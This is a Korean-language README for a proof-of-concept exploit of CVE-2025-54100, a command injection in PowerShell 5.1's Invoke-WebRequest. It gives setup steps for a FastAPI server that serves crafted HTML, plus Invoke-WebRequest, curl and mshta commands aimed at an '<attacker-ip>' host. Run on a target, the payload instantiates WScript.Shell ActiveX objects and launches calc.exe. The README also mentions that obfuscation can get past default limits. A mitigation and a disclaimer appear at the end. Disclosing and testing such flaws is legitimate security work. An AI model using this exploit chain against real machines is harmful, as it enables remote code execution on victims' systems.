
CVE-2025-54100 (CVSS 7.8 High)은 Windows PowerShell 5.1의 Invoke-WebRequest cmdlet에서 발생하는 명령 주입 취약점입니다. 이는 웹 응답을 자동으로 구문 분석하는 동안 특수 요소를 부적절하게 중화함으로써 발생합니다.
악의적인 HTML 파싱을 통해 CVE-2025-54100이 Windows PowerShell 5.1에서 원격 코드 실행(RCE)으로 이어질 수 있음을 보여주는 간결한 개념 증명(PoC)입니다.
-UseBasicParsing을 사용하지 않을 때 Invoke-WebRequest에서 발생하는 명령 삽입ActiveXObject)이 가능함.CVE-2025-54100.py의 FastAPI 서버가 조작된 HTML 페이로드를 제공합니다.WScript.Shell / Shell.Application ActiveX 개체를 인스턴스화하려고 시도합니다.calc.exe를 실행함으로써 RCE를 입증합니다.python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
PoC HTTP 서버를 시작합니다:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
-UseBasicParsing 없이 취약한 Windows 머신에서 다음을 실행합니다:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888
서버에 구성한 것과 동일한 포트를 사용하십시오. 취약한 경우 포함된 스크립트가 MSHTML 파서를 통해 실행됩니다. 일부 AV 제품은 파싱 문제가 있음에도 이 동작을 차단할 수 있습니다.
calc.exe가 나타나지 않는 경우:
-UseBasicParsing 없이 Invoke-WebRequest를 다시 실행합니다.이는 실행 벡터를 입증합니다. 실제 환경의 페이로드는 기본 제한을 우회하기 위해 난독화 또는 추가 우회 기법을 사용할 수 있습니다.

Microsoft는 2025년 12월에 이 문제를 패치했습니다:
-UseBasicParsing을 사용합니다:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
[!WARNING] 교육 및 승인된 테스트 목적으로만 사용하십시오. 책임감 있게 사용하고 모든 관련 법률을 준수하십시오. 작성자는 오용 또는 손해에 대해 책임을 지지 않습니다.